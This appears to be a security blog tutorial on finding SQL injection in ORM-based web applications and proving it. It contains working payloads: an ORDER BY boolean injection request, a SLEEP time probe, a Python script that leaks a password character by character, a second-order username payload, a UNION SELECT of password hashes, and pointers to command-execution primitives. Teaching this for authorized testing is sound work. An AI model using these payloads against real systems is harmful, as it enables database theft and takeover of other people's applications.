cd ../blog

SQL Injection in 2025: From Error-Based Leaks to ORM Blind Spots

SQL injection refuses to die. We look at how modern ORMs, raw query escape hatches, and second-order payloads keep this classic flaw alive in current stacks.

SQL injection is alive in 2025 because the dangerous parts of an application have moved into the gaps the ORM does not cover: string-built ORDER BY clauses, raw query escape hatches, and second-order sinks that fire long after the request. This walkthrough is about finding those gaps as a researcher and proving them with a working payload.

Where it hides

The ORM lulls everyone into assuming queries are parameterized, so the bug lives wherever the developer reached past it. Map the application and hunt for these tells:

  • Any sort/order parameter (?sort=, ?order=, ?direction=) — identifiers cannot be bound, so they are frequently concatenated.
  • LIMIT/OFFSET/pagination values pulled straight from the query string.
  • JSON document filters that accept operator objects (the NoSQL cousin).
  • "Search" and "report" endpoints, which love raw SQL for flexibility.
  • Second-order spots: a value you stored earlier (username, label, note) that a later job or admin page renders into a query.

Recon is about provoking differential behavior. Submit a single quote, then its balanced pair, and watch for a 500, a changed result count, or a timing shift. Tooling that excels here: Burp Suite Repeater for manual probing, sqlmap for automated boolean/time-based confirmation, and grep/Semgrep across source for raw-query methods (execute, raw, query, f"SELECT, string + near SQL).

Reproducing it

Identifier injection in a sort parameter is the most overlooked. The endpoint maps to something like f"SELECT id,email FROM users ORDER BY {sort}". Confirm evaluation with a boolean CASE that flips the visible order:

GET /api/users?sort=(CASE+WHEN+(SELECT+substr(password,1,1)+FROM+users+LIMIT+1)='a'+THEN+id+ELSE+email+END) HTTP/1.1
Host: app.example.com
Authorization: Bearer eyJ...

If the row order changes when the guessed character is correct and stays stable when wrong, you have boolean oracle exfiltration with no error and no string literal involved.

When errors are suppressed, fall back to a time-based probe. A measurable delay is your confirmation:

-- Inject into the sort/value sink; 5s delay == injectable
1 AND (SELECT 1 FROM (SELECT SLEEP(5))x)

Automate the character-by-character extraction once the oracle is proven:

import requests, string
URL = "https://app.example.com/api/users"
TOK = {"Authorization": "Bearer eyJ..."}

def leak(pos):
    for c in string.ascii_lowercase + string.digits:
        payload = (f"(CASE WHEN (SELECT substr(password,{pos},1) "
                   f"FROM users LIMIT 1)='{c}' THEN id ELSE email END)")
        r = requests.get(URL, params={"sort": payload}, headers=TOK)
        # "ordered by id" puts the lowest id first; detect that marker
        if r.json()["rows"][0]["id"] == 1:
            return c
    return "?"

print("".join(leak(i) for i in range(1, 9)))

For second-order, the repro is two requests in different places. First, register a username such as a' || (SELECT SLEEP(5)) || '. Nothing happens immediately. Then trigger the downstream sink — load the admin "users report" page or wait for the nightly job — and observe the delay there. The source and sink living in different files is exactly why scanners miss it and why manual chaining finds it.

Confirming impact

Escalate from oracle to demonstration. With a UNION-capable injection, prove cross-table read directly:

' UNION SELECT username, password_hash FROM users-- -

Then probe what the database account can reach: try reading another tenant's table, then test for file primitives (INTO OUTFILE, LOAD_FILE, xp_cmdshell on SQL Server, COPY ... TO PROGRAM on Postgres). On a stacked-query backend, a successful ; SELECT pg_sleep(5)-- shows you can run a second statement entirely.

Document the proof tightly: the exact request, the boolean/timing differential, and one concrete extracted value (a hash prefix, a row count, a version string from @@version). A single deterministic oracle plus one leaked secret is far more convincing than a wall of sqlmap output. Keep all testing to assets you are authorized to probe.